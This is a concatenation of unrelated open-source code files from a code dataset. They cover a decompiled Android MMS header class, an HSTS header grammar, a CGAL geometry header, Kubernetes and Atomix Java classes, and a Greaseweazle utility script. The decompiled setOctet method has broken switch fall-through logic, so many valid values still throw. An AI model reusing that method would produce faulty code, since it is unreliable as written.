public static final int CONTENT_CLASS = 186;
public static final int CONTENT_CLASS_CONTENT_BASIC = 134;
public static final int CONTENT_CLASS_CONTENT_RICH = 135;
public static final int CONTENT_CLASS_IMAGE_BASIC = 129;
public static final int CONTENT_CLASS_IMAGE_RICH = 130;
public static final int CONTENT_CLASS_MEGAPIXEL = 133;
public static final int CONTENT_CLASS_TEXT = 128;
public static final int CONTENT_CLASS_VIDEO_BASIC = 131;
public static final int CONTENT_CLASS_VIDEO_RICH = 132;
public static final int CONTENT_LOCATION = 131;
public static final int CONTENT_TYPE = 132;
public static final int CURRENT_MMS_VERSION = 18;
public static final int DATE = 133;
public static final int DELIVERY_REPORT = 134;
public static final int DELIVERY_TIME = 135;
public static final int DISTRIBUTION_INDICATOR = 177;
public static final int DRM_CONTENT = 187;
public static final int ELEMENT_DESCRIPTOR = 178;
public static final int EXPIRY = 136;
public static final int FROM = 137;
public static final int FROM_ADDRESS_PRESENT_TOKEN = 128;
public static final String FROM_ADDRESS_PRESENT_TOKEN_STR = "address-present-token";
public static final int FROM_INSERT_ADDRESS_TOKEN = 129;
public static final String FROM_INSERT_ADDRESS_TOKEN_STR = "insert-address-token";
public static final int LIMIT = 179;
public static final int MBOX_QUOTAS = 172;
public static final int MBOX_TOTALS = 170;
public static final int MESSAGE_CLASS = 138;
public static final int MESSAGE_CLASS_ADVERTISEMENT = 129;
public static final String MESSAGE_CLASS_ADVERTISEMENT_STR = "advertisement";
public static final int MESSAGE_CLASS_AUTO = 131;
public static final String MESSAGE_CLASS_AUTO_STR = "auto";
public static final int MESSAGE_CLASS_INFORMATIONAL = 130;
public static final String MESSAGE_CLASS_INFORMATIONAL_STR = "informational";
public static final int MESSAGE_CLASS_PERSONAL = 128;
public static final String MESSAGE_CLASS_PERSONAL_STR = "personal";
public static final int MESSAGE_COUNT = 173;
public static final int MESSAGE_ID = 139;
public static final int MESSAGE_SIZE = 142;
public static final int MESSAGE_TYPE = 140;
public static final int MESSAGE_TYPE_ACKNOWLEDGE_IND = 133;
public static final int MESSAGE_TYPE_CANCEL_CONF = 151;
public static final int MESSAGE_TYPE_CANCEL_REQ = 150;
public static final int MESSAGE_TYPE_DELETE_CONF = 149;
public static final int MESSAGE_TYPE_DELETE_REQ = 148;
public static final int MESSAGE_TYPE_DELIVERY_IND = 134;
public static final int MESSAGE_TYPE_FORWARD_CONF = 138;
public static final int MESSAGE_TYPE_FORWARD_REQ = 137;
public static final int MESSAGE_TYPE_MBOX_DELETE_CONF = 146;
public static final int MESSAGE_TYPE_MBOX_DELETE_REQ = 145;
public static final int MESSAGE_TYPE_MBOX_DESCR = 147;
public static final int MESSAGE_TYPE_MBOX_STORE_CONF = 140;
public static final int MESSAGE_TYPE_MBOX_STORE_REQ = 139;
public static final int MESSAGE_TYPE_MBOX_UPLOAD_CONF = 144;
public static final int MESSAGE_TYPE_MBOX_UPLOAD_REQ = 143;
public static final int MESSAGE_TYPE_MBOX_VIEW_CONF = 142;
public static final int MESSAGE_TYPE_MBOX_VIEW_REQ = 141;
public static final int MESSAGE_TYPE_NOTIFICATION_IND = 130;
public static final int MESSAGE_TYPE_NOTIFYRESP_IND = 131;
public static final int MESSAGE_TYPE_READ_ORIG_IND = 136;
public static final int MESSAGE_TYPE_READ_REC_IND = 135;
public static final int MESSAGE_TYPE_RETRIEVE_CONF = 132;
public static final int MESSAGE_TYPE_SEND_CONF = 129;
public static final int MESSAGE_TYPE_SEND_REQ = 128;
public static final int MMS_VERSION = 141;
public static final int MMS_VERSION_1_0 = 16;
public static final int MMS_VERSION_1_1 = 17;
public static final int MMS_VERSION_1_2 = 18;
public static final int MMS_VERSION_1_3 = 19;
public static final int MM_FLAGS = 164;
public static final int MM_FLAGS_ADD_TOKEN = 128;
public static final int MM_FLAGS_FILTER_TOKEN = 130;
public static final int MM_FLAGS_REMOVE_TOKEN = 129;
public static final int MM_STATE = 163;
public static final int MM_STATE_DRAFT = 128;
public static final int MM_STATE_FORWARDED = 132;
public static final int MM_STATE_NEW = 130;
public static final int MM_STATE_RETRIEVED = 131;
public static final int MM_STATE_SENT = 129;
public static final int PREVIOUSLY_SENT_BY = 160;
public static final int PREVIOUSLY_SENT_DATE = 161;
public static final int PRIORITY = 143;
public static final int PRIORITY_HIGH = 130;
public static final int PRIORITY_LOW = 128;
public static final int PRIORITY_NORMAL = 129;
public static final int QUOTAS = 171;
public static final int READ_REPLY = 144;
public static final int READ_REPORT = 144;
public static final int READ_STATUS = 155;
public static final int READ_STATUS_READ = 128;
public static final int READ_STATUS__DELETED_WITHOUT_BEING_READ = 129;
public static final int RECOMMENDED_RETRIEVAL_MODE = 180;
public static final int RECOMMENDED_RETRIEVAL_MODE_MANUAL = 128;
public static final int RECOMMENDED_RETRIEVAL_MODE_TEXT = 181;
public static final int REPLACE_ID = 189;
public static final int REPLY_APPLIC_ID = 184;
public static final int REPLY_CHARGING = 156;
public static final int REPLY_CHARGING_ACCEPTED = 130;
public static final int REPLY_CHARGING_ACCEPTED_TEXT_ONLY = 131;
public static final int REPLY_CHARGING_DEADLINE = 157;
public static final int REPLY_CHARGING_ID = 158;
public static final int REPLY_CHARGING_REQUESTED = 128;
public static final int REPLY_CHARGING_REQUESTED_TEXT_ONLY = 129;
public static final int REPLY_CHARGING_SIZE = 159;
public static final int REPORT_ALLOWED = 145;
public static final int RESPONSE_STATUS = 146;
public static final int RESPONSE_STATUS_ERROR_CONTENT_NOT_ACCEPTED = 135;
public static final int RESPONSE_STATUS_ERROR_MESSAGE_FORMAT_CORRUPT = 131;
public static final int RESPONSE_STATUS_ERROR_MESSAGE_NOT_FOUND = 133;
public static final int RESPONSE_STATUS_ERROR_NETWORK_PROBLEM = 134;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_ADDRESS_HIDING_NOT_SUPPORTED = 234;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_CONTENT_NOT_ACCEPTED = 229;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_END = 255;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_FAILURE = 224;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_LACK_OF_PREPAID = 235;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_MESSAGE_FORMAT_CORRUPT = 226;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_MESSAGE_NOT_FOUND = 228;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_REPLY_CHARGING_FORWARDING_DENIED = 232;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_REPLY_CHARGING_LIMITATIONS_NOT_MET = 230;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_REPLY_CHARGING_NOT_SUPPORTED = 233;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_REPLY_CHARGING_REQUEST_NOT_ACCEPTED = 230;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_SENDING_ADDRESS_UNRESOLVED = 227;
public static final int RESPONSE_STATUS_ERROR_PERMANENT_SERVICE_DENIED = 225;
public static final int RESPONSE_STATUS_ERROR_SENDING_ADDRESS_UNRESOLVED = 132;
public static final int RESPONSE_STATUS_ERROR_SERVICE_DENIED = 130;
public static final int RESPONSE_STATUS_ERROR_TRANSIENT_FAILURE = 192;
public static final int RESPONSE_STATUS_ERROR_TRANSIENT_MESSAGE_NOT_FOUND = 194;
public static final int RESPONSE_STATUS_ERROR_TRANSIENT_NETWORK_PROBLEM = 195;
public static final int RESPONSE_STATUS_ERROR_TRANSIENT_PARTIAL_SUCCESS = 196;
public static final int RESPONSE_STATUS_ERROR_TRANSIENT_SENDNG_ADDRESS_UNRESOLVED = 193;
public static final int RESPONSE_STATUS_ERROR_UNSPECIFIED = 129;
public static final int RESPONSE_STATUS_ERROR_UNSUPPORTED_MESSAGE = 136;
public static final int RESPONSE_STATUS_OK = 128;
public static final int RESPONSE_TEXT = 147;
public static final int RETRIEVE_STATUS = 153;
public static final int RETRIEVE_STATUS_ERROR_END = 255;
public static final int RETRIEVE_STATUS_ERROR_PERMANENT_CONTENT_UNSUPPORTED = 227;
public static final int RETRIEVE_STATUS_ERROR_PERMANENT_FAILURE = 224;
public static final int RETRIEVE_STATUS_ERROR_PERMANENT_MESSAGE_NOT_FOUND = 226;
public static final int RETRIEVE_STATUS_ERROR_PERMANENT_SERVICE_DENIED = 225;
public static final int RETRIEVE_STATUS_ERROR_TRANSIENT_FAILURE = 192;
public static final int RETRIEVE_STATUS_ERROR_TRANSIENT_MESSAGE_NOT_FOUND = 193;
public static final int RETRIEVE_STATUS_ERROR_TRANSIENT_NETWORK_PROBLEM = 194;
public static final int RETRIEVE_STATUS_OK = 128;
public static final int RETRIEVE_TEXT = 154;
public static final int SENDER_VISIBILITY = 148;
public static final int SENDER_VISIBILITY_HIDE = 128;
public static final int SENDER_VISIBILITY_SHOW = 129;
public static final int START = 175;
public static final int STATUS = 149;
public static final int STATUS_DEFERRED = 131;
public static final int STATUS_EXPIRED = 128;
public static final int STATUS_FORWARDED = 134;
public static final int STATUS_INDETERMINATE = 133;
public static final int STATUS_REJECTED = 130;
public static final int STATUS_RETRIEVED = 129;
public static final int STATUS_TEXT = 182;
public static final int STATUS_UNREACHABLE = 135;
public static final int STATUS_UNRECOGNIZED = 132;
public static final int STORE = 162;
public static final int STORED = 167;
public static final int STORE_STATUS = 165;
public static final int STORE_STATUS_ERROR_END = 255;
public static final int STORE_STATUS_ERROR_PERMANENT_FAILURE = 224;
public static final int STORE_STATUS_ERROR_PERMANENT_MESSAGE_FORMAT_CORRUPT = 226;
public static final int STORE_STATUS_ERROR_PERMANENT_MESSAGE_NOT_FOUND = 227;
public static final int STORE_STATUS_ERROR_PERMANENT_MMBOX_FULL = 228;
public static final int STORE_STATUS_ERROR_PERMANENT_SERVICE_DENIED = 225;
public static final int STORE_STATUS_ERROR_TRANSIENT_FAILURE = 192;
public static final int STORE_STATUS_ERROR_TRANSIENT_NETWORK_PROBLEM = 193;
public static final int STORE_STATUS_SUCCESS = 128;
public static final int STORE_STATUS_TEXT = 166;
public static final int SUBJECT = 150;
public static final int TO = 151;
public static final int TOTALS = 169;
public static final int TRANSACTION_ID = 152;
public static final int VALUE_ABSOLUTE_TOKEN = 128;
public static final int VALUE_NO = 129;
public static final int VALUE_RELATIVE_TOKEN = 129;
public static final int VALUE_YES = 128;
private HashMap<Integer, Object> a;
public TyuMMSHeaders() {
this.a = null;
this.a = new HashMap<>();
}
/* access modifiers changed from: protected */
public int getOctet(int field) {
Integer octet = (Integer) this.a.get(Integer.valueOf(field));
if (octet == null) {
return 0;
}
return octet.intValue();
}
/* access modifiers changed from: protected */
public void setOctet(int value, int field) throws InvalidHeaderValueException {
switch (field) {
case 134:
case 144:
case 145:
case 148:
case STORE /*{ENCODED_INT: 162}*/:
case STORED /*{ENCODED_INT: 167}*/:
case TOTALS /*{ENCODED_INT: 169}*/:
case QUOTAS /*{ENCODED_INT: 171}*/:
case DISTRIBUTION_INDICATOR /*{ENCODED_INT: 177}*/:
case DRM_CONTENT /*{ENCODED_INT: 187}*/:
case ADAPTATION_ALLOWED /*{ENCODED_INT: 188}*/:
if (!(128 == value || 129 == value)) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 135:
case 136:
case 137:
case 138:
case 139:
case 142:
case 147:
case 150:
case 151:
case 152:
case 154:
case 157:
case REPLY_CHARGING_ID /*{ENCODED_INT: 158}*/:
case REPLY_CHARGING_SIZE /*{ENCODED_INT: 159}*/:
case PREVIOUSLY_SENT_BY /*{ENCODED_INT: 160}*/:
case PREVIOUSLY_SENT_DATE /*{ENCODED_INT: 161}*/:
case MM_FLAGS /*{ENCODED_INT: 164}*/:
case STORE_STATUS_TEXT /*{ENCODED_INT: 166}*/:
case ATTRIBUTES /*{ENCODED_INT: 168}*/:
case 170:
case MBOX_QUOTAS /*{ENCODED_INT: 172}*/:
case MESSAGE_COUNT /*{ENCODED_INT: 173}*/:
case 174:
case START /*{ENCODED_INT: 175}*/:
case ADDITIONAL_HEADERS /*{ENCODED_INT: 176}*/:
case ELEMENT_DESCRIPTOR /*{ENCODED_INT: 178}*/:
case LIMIT /*{ENCODED_INT: 179}*/:
case RECOMMENDED_RETRIEVAL_MODE_TEXT /*{ENCODED_INT: 181}*/:
case STATUS_TEXT /*{ENCODED_INT: 182}*/:
case APPLIC_ID /*{ENCODED_INT: 183}*/:
case REPLY_APPLIC_ID /*{ENCODED_INT: 184}*/:
case AUX_APPLIC_ID /*{ENCODED_INT: 185}*/:
case REPLACE_ID /*{ENCODED_INT: 189}*/:
case 190:
default:
throw new RuntimeException("Invalid header field!");
case 140:
if (value < 128 || value > 151) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 141:
if (value < 16 || value > 19) {
value = 18;
break;
}
case 143:
if (value < 128 || value > 130) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 146:
if (value <= 196 || value >= 224) {
if ((value > 235 && value <= 255) || value < 128 || ((value > 136 && value < 192) || value > 255)) {
value = 224;
break;
}
} else {
value = 192;
break;
}
case 149:
if (value < 128 || value > 135) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 153:
if (value <= 194 || value >= 224) {
if (value <= 227 || value > 255) {
if (value < 128 || ((value > 128 && value < 192) || value > 255)) {
value = 224;
break;
}
} else {
value = 224;
break;
}
} else {
value = 192;
break;
}
case 155:
if (!(128 == value || 129 == value)) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 156:
if (value < 128 || value > 131) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case MM_STATE /*{ENCODED_INT: 163}*/:
if (value < 128 || value > 132) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case STORE_STATUS /*{ENCODED_INT: 165}*/:
if (value <= 193 || value >= 224) {
if (value <= 228 || value > 255) {
if (value < 128 || ((value > 128 && value < 192) || value > 255)) {
value = 224;
break;
}
} else {
value = 224;
break;
}
} else {
value = 192;
break;
}
case RECOMMENDED_RETRIEVAL_MODE /*{ENCODED_INT: 180}*/:
if (128 != value) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
break;
case CONTENT_CLASS /*{ENCODED_INT: 186}*/:
if (value < 128 || value > 135) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
case 191:
if (!(128 == value || 129 == value)) {
throw new InvalidHeaderValueException("Invalid Octet value!");
}
}
this.a.put(Integer.valueOf(field), Integer.valueOf(value));
}
/* access modifiers changed from: protected */
public byte[] getTextString(int field) {
return (byte[]) this.a.get(Integer.valueOf(field));
}
/* access modifiers changed from: protected */
public void setTextString(byte[] value, int field) {
if (value == null) {
throw new NullPointerException();
}
switch (field) {
case 131:
case 132:
case 138:
case 139:
case 152:
case REPLY_CHARGING_ID /*{ENCODED_INT: 158}*/:
case APPLIC_ID /*{ENCODED_INT: 183}*/:
case REPLY_APPLIC_ID /*{ENCODED_INT: 184}*/:
case AUX_APPLIC_ID /*{ENCODED_INT: 185}*/:
case REPLACE_ID /*{ENCODED_INT: 189}*/:
case 190:
this.a.put(Integer.valueOf(field), value);
return;
default:
throw new RuntimeException("Invalid header field!");
}
}
/* access modifiers changed from: protected */
public TyuEncodedStringValue getEncodedStringValue(int field) {
return (TyuEncodedStringValue) this.a.get(Integer.valueOf(field));
}
/* access modifiers changed from: protected */
public TyuEncodedStringValue[] getEncodedStringValues(int field) {
ArrayList<TyuEncodedStringValue> list = (ArrayList) this.a.get(Integer.valueOf(field));
if (list == null) {
return null;
}
return (TyuEncodedStringValue[]) list.toArray(new TyuEncodedStringValue[list.size()]);
}
/* access modifiers changed from: protected */
public void setEncodedStringValue(TyuEncodedStringValue value, int field) {
if (value == null) {
throw new NullPointerException();
}
switch (field) {
case 137:
case 147:
case 150:
case 154:
case PREVIOUSLY_SENT_BY /*{ENCODED_INT: 160}*/:
case MM_FLAGS /*{ENCODED_INT: 164}*/:
case STORE_STATUS_TEXT /*{ENCODED_INT: 166}*/:
case RECOMMENDED_RETRIEVAL_MODE_TEXT /*{ENCODED_INT: 181}*/:
case STATUS_TEXT /*{ENCODED_INT: 182}*/:
this.a.put(Integer.valueOf(field), value);
return;
default:
throw new RuntimeException("Invalid header field!");
}
}
/* access modifiers changed from: protected */
public void setEncodedStringValues(TyuEncodedStringValue[] value, int field) {
if (value == null) {
throw new NullPointerException();
}
switch (field) {
case 129:
case 130:
case 151:
ArrayList<TyuEncodedStringValue> list = new ArrayList<>();
for (TyuEncodedStringValue tyuEncodedStringValue : value) {
list.add(tyuEncodedStringValue);
}
this.a.put(Integer.valueOf(field), list);
return;
default:
throw new RuntimeException("Invalid header field!");
}
}
/* access modifiers changed from: protected */
public void appendEncodedStringValue(TyuEncodedStringValue value, int field) {
if (value == null) {
throw new NullPointerException();
}
switch (field) {
case 129:
case 130:
case 151:
ArrayList<TyuEncodedStringValue> list = (ArrayList) this.a.get(Integer.valueOf(field));
if (list == null) {
list = new ArrayList<>();
}
list.add(value);
this.a.put(Integer.valueOf(field), list);
return;
default:
throw new RuntimeException("Invalid header field!");
}
}
/* access modifiers changed from: protected */
public long getLongInteger(int field) {
Long longInteger = (Long) this.a.get(Integer.valueOf(field));
if (longInteger == null) {
return -1;
}
return longInteger.longValue();
}
/* access modifiers changed from: protected */
public void setLongInteger(long value, int field) {
switch (field) {
case 133:
case 135:
case 136:
case 142:
case 157:
case REPLY_CHARGING_SIZE /*{ENCODED_INT: 159}*/:
case PREVIOUSLY_SENT_DATE /*{ENCODED_INT: 161}*/:
case MESSAGE_COUNT /*{ENCODED_INT: 173}*/:
case START /*{ENCODED_INT: 175}*/:
case LIMIT /*{ENCODED_INT: 179}*/:
this.a.put(Integer.valueOf(field), Long.valueOf(value));
return;
default:
throw new RuntimeException("Invalid header field!");
}
}
}
| 10,100 |
1,027 | from httpolice.citation import RFC
from httpolice.parse import auto, fill_names, many, maybe, pivot, skip, string1
from httpolice.structure import HSTSDirective, Parametrized
from httpolice.syntax.common import DIGIT
from httpolice.syntax.rfc7230 import OWS, quoted_string, token
# This has been slightly adapted to the rules of RFC 7230.
# The ``OWS`` are derived from the "implied ``*LWS``" requirement.
directive_name = HSTSDirective << token > auto
directive_value = token | quoted_string > auto
directive = Parametrized << (
directive_name * maybe(skip(OWS * '=' * OWS) * directive_value)) > pivot
def _collect_elements(xs):
return [elem for elem in xs if elem is not None]
Strict_Transport_Security = _collect_elements << (
maybe(directive) % many(skip(OWS * ';' * OWS) * maybe(directive))) > pivot
max_age_value = int << string1(DIGIT) > pivot
fill_names(globals(), RFC(6797))
| 408 |
3,227 | // Copyright (c) 2003 INRIA Sophia-Antipolis (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org)
//
// $URL$
// $Id$
// SPDX-License-Identifier: LGPL-3.0-or-later OR LicenseRef-Commercial
//
//
// Author(s) : <NAME>
#ifndef CGAL_INTERNAL_INTERSECTIONS_RAY_3_RAY_3_DO_INTERSECT_H
#define CGAL_INTERNAL_INTERSECTIONS_RAY_3_RAY_3_DO_INTERSECT_H
#include <CGAL/Intersections_3/internal/Line_3_Ray_3_do_intersect.h>
#include <CGAL/Intersections_3/internal/Point_3_Ray_3_do_intersect.h>
#include <CGAL/enum.h>
namespace CGAL {
namespace Intersections {
namespace internal {
template <class K>
inline
bool
do_intersect(const typename K::Ray_3& r1,
const typename K::Ray_3& r2,
const K& k)
{
CGAL_precondition(!r1.is_degenerate() && !r2.is_degenerate());
if(!do_intersect(r1, r2.supporting_line(), k))
return false;
typename K::Coplanar_orientation_3 pred = k.coplanar_orientation_3_object();
CGAL::Orientation p0p1s = pred(r1.source(), r1.second_point(), r2.source());
CGAL::Orientation stp0 = pred(r2.source(), r2.second_point(), r1.source());
if(p0p1s == COLLINEAR)
{
if(stp0 == COLLINEAR)
return Ray_3_has_on_collinear_Point_3(r2, r1.source(), k) ||
Ray_3_has_on_collinear_Point_3(r1, r2.source(), k);
else
return true;
}
if(stp0 == COLLINEAR)
return Ray_3_has_on_collinear_Point_3(r2, r1.source(), k);
return (p0p1s != stp0);
}
} // namespace internal
} // namespace Intersections
} // namespace CGAL
#endif // CGAL_INTERNAL_INTERSECTIONS_RAY_3_RAY_3_DO_INTERSECT_H
| 710 |
689 | <gh_stars>100-1000
#include "SafeFrame.h"
int main()
{
IContext *ctx = new SafeFrame;
for (int i = 0; i < 24; ++i)
{
ctx->setClock(i);
ctx->doAction(IContext::ActionType::Use);
ctx->doAction(IContext::ActionType::Phone);
ctx->doAction(IContext::ActionType::Alarm);
}
delete ctx;
return 0;
} | 168 |
2,389 | <reponame>Ankit01Mishra/java<gh_stars>1000+
/*
Copyright 2020 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package com.coreos.monitoring.models;
import com.google.gson.annotations.SerializedName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import java.util.Objects;
/** /--rules.alert.*_/ command-line arguments */
@ApiModel(description = "/--rules.alert.*_/ command-line arguments")
@javax.annotation.Generated(
value = "org.openapitools.codegen.languages.JavaClientCodegen",
date = "2020-08-31T19:41:55.826Z[Etc/UTC]")
public class V1PrometheusSpecRulesAlert {
public static final String SERIALIZED_NAME_FOR_GRACE_PERIOD = "forGracePeriod";
@SerializedName(SERIALIZED_NAME_FOR_GRACE_PERIOD)
private String forGracePeriod;
public static final String SERIALIZED_NAME_FOR_OUTAGE_TOLERANCE = "forOutageTolerance";
@SerializedName(SERIALIZED_NAME_FOR_OUTAGE_TOLERANCE)
private String forOutageTolerance;
public static final String SERIALIZED_NAME_RESEND_DELAY = "resendDelay";
@SerializedName(SERIALIZED_NAME_RESEND_DELAY)
private String resendDelay;
public V1PrometheusSpecRulesAlert forGracePeriod(String forGracePeriod) {
this.forGracePeriod = forGracePeriod;
return this;
}
/**
* Minimum duration between alert and restored 'for' state. This is maintained only for
* alerts with configured 'for' time greater than grace period.
*
* @return forGracePeriod
*/
@javax.annotation.Nullable
@ApiModelProperty(
value =
"Minimum duration between alert and restored 'for' state. This is maintained only for alerts with configured 'for' time greater than grace period.")
public String getForGracePeriod() {
return forGracePeriod;
}
public void setForGracePeriod(String forGracePeriod) {
this.forGracePeriod = forGracePeriod;
}
public V1PrometheusSpecRulesAlert forOutageTolerance(String forOutageTolerance) {
this.forOutageTolerance = forOutageTolerance;
return this;
}
/**
* Max time to tolerate prometheus outage for restoring 'for' state of alert.
*
* @return forOutageTolerance
*/
@javax.annotation.Nullable
@ApiModelProperty(
value = "Max time to tolerate prometheus outage for restoring 'for' state of alert.")
public String getForOutageTolerance() {
return forOutageTolerance;
}
public void setForOutageTolerance(String forOutageTolerance) {
this.forOutageTolerance = forOutageTolerance;
}
public V1PrometheusSpecRulesAlert resendDelay(String resendDelay) {
this.resendDelay = resendDelay;
return this;
}
/**
* Minimum amount of time to wait before resending an alert to Alertmanager.
*
* @return resendDelay
*/
@javax.annotation.Nullable
@ApiModelProperty(
value = "Minimum amount of time to wait before resending an alert to Alertmanager.")
public String getResendDelay() {
return resendDelay;
}
public void setResendDelay(String resendDelay) {
this.resendDelay = resendDelay;
}
@Override
public boolean equals(java.lang.Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
V1PrometheusSpecRulesAlert v1PrometheusSpecRulesAlert = (V1PrometheusSpecRulesAlert) o;
return Objects.equals(this.forGracePeriod, v1PrometheusSpecRulesAlert.forGracePeriod)
&& Objects.equals(this.forOutageTolerance, v1PrometheusSpecRulesAlert.forOutageTolerance)
&& Objects.equals(this.resendDelay, v1PrometheusSpecRulesAlert.resendDelay);
}
@Override
public int hashCode() {
return Objects.hash(forGracePeriod, forOutageTolerance, resendDelay);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class V1PrometheusSpecRulesAlert {\n");
sb.append(" forGracePeriod: ").append(toIndentedString(forGracePeriod)).append("\n");
sb.append(" forOutageTolerance: ").append(toIndentedString(forOutageTolerance)).append("\n");
sb.append(" resendDelay: ").append(toIndentedString(resendDelay)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces (except the first line).
*/
private String toIndentedString(java.lang.Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
| 1,720 |
504 | package org.dayatang.security.api;
/**
* 权限查询服务
* Created by yyang on 2016/10/31.
*/
public interface SecurityQueryService {
/**
* 根据ID获取用户
* @param id 用户ID
* @return 用户存在则返回该用户,否则返回null
*/
UserInfo getUser(String id);
/**
* 根据用户名获取用户
* @param username 用户名
* @return 用户存在则返回该用户,否则返回null
*/
UserInfo getUserByUsername(String username);
/**
* 判断系统中是否已经存在指定名字的用户
* @param username 用户名
* @return 如果用户存在,返回true;否则返回false
*/
boolean usernameExisted(String username);
/**
* 通过帐号口令进行登录
* @param username 用户名
* @param password 口令
* @return 如果用户存在、未失效、未被锁定,且口令正确,返回该用户;否则抛出AuthenticationException异常。
*/
UserInfo login(String username, String password);
/**
* 判断用户是否在全局范围拥有指定角色
* @param username 用户
* @param role 角色
* @return 如果user用户拥有role角色,返回true;否则返回false。
*/
boolean hasRole(String username, String role);
/**
* 判断用户是否在全局范围拥有指定权限
* @param username 用户
* @param permission 权限
* @return 如果user用户拥有permission权限,返回true;否则返回false。
*/
boolean hasPermission(String username, String permission);
/**
* 判断用户是否在全局范围拥有指定角色
* @param username 用户
* @param role 角色
* @param scope 授权范围
* @return 如果user用户在scope授权范围拥有role角色,返回true;否则返回false。
*/
boolean hasRoleInScope(String username, String role, String scope);
/**
* 判断用户是否在全局范围拥有指定权限
* @param username 用户
* @param permission 权限
* @param scope 授权范围
* @return 如果user用户在scope授权范围拥有permission权限,返回true;否则返回false。
*/
boolean hasPermissionInScope(String username, String permission, String scope);
}
| 1,245 |
505 | package com.zhengsr.tablib.callback;
/**
* @author by zhengshaorui on 2019/10/8
* Describe:
*/
public abstract class FlowListenerAdapter {
public abstract void notifyDataChanged();
public void resetAllTextColor(int viewId,int color) { }
public abstract void resetAllStatus();
}
| 93 |
435 | <gh_stars>100-1000
# greaseweazle/tools/reset.py
#
# Greaseweazle control script: Reset to power-on defaults.
#
# Written & released by <NAME> <<EMAIL>>
#
# This is free and unencumbered software released into the public domain.
# See the file COPYING for more details, or visit <http://unlicense.org>.
description = "Reset the Greaseweazle device to power-on default state."
import sys
from greaseweazle.tools import util
from greaseweazle import usb as USB
def main(argv):
parser = util.ArgumentParser(usage='%(prog)s [options]')
parser.add_argument("--device", help="greaseweazle device name")
parser.description = description
parser.prog += ' ' + argv[1]
args = parser.parse_args(argv[2:])
try:
usb = util.usb_open(args.device)
usb.power_on_reset()
except USB.CmdError as error:
print("Command Failed: %s" % error)
if __name__ == "__main__":
main(sys.argv)
# Local variables:
# python-indent: 4
# End:
| 362 |
2,027 | /*
* Copyright 2017-present Open Networking Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.atomix.core.list;
import io.atomix.core.collection.CollectionEvent;
import io.atomix.core.collection.impl.CollectionUpdateResult;
import io.atomix.core.iterator.impl.IteratorBatch;
import io.atomix.core.list.impl.DefaultDistributedListBuilder;
import io.atomix.core.list.impl.DefaultDistributedListService;
import io.atomix.primitive.PrimitiveManagementService;
import io.atomix.primitive.PrimitiveType;
import io.atomix.primitive.service.PrimitiveService;
import io.atomix.primitive.service.ServiceConfig;
import io.atomix.utils.serializer.Namespace;
import io.atomix.utils.serializer.Namespaces;
import static com.google.common.base.MoreObjects.toStringHelper;
/**
* Distributed list primitive type.
*/
public class DistributedListType<E> implements PrimitiveType<DistributedListBuilder<E>, DistributedListConfig, DistributedList<E>> {
private static final String NAME = "list";
private static final DistributedListType INSTANCE = new DistributedListType();
/**
* Returns a new distributed list type.
*
* @param <E> the list element type
* @return a new distributed list type
*/
@SuppressWarnings("unchecked")
public static <E> DistributedListType<E> instance() {
return INSTANCE;
}
@Override
public String name() {
return NAME;
}
@Override
public Namespace namespace() {
return Namespace.builder()
.register(PrimitiveType.super.namespace())
.register(Namespaces.BASIC)
.nextId(Namespaces.BEGIN_USER_CUSTOM_ID)
.register(CollectionUpdateResult.class)
.register(CollectionUpdateResult.Status.class)
.register(CollectionEvent.class)
.register(CollectionEvent.Type.class)
.register(IteratorBatch.class)
.build();
}
@Override
public PrimitiveService newService(ServiceConfig config) {
return new DefaultDistributedListService();
}
@Override
public DistributedListConfig newConfig() {
return new DistributedListConfig();
}
@Override
public DistributedListBuilder<E> newBuilder(String name, DistributedListConfig config, PrimitiveManagementService managementService) {
return new DefaultDistributedListBuilder<>(name, config, managementService);
}
@Override
public String toString() {
return toStringHelper(this)
.add("name", name())
.toString();
}
}
| 904 |
14,668 | // Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef THIRD_PARTY_BLINK_RENDERER_MODULES_WEBCODECS_ENCODED_VIDEO_CHUNK_H_
#define THIRD_PARTY_BLINK_RENDERER_MODULES_WEBCODECS_ENCODED_VIDEO_CHUNK_H_
#include "media/base/decoder_buffer.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
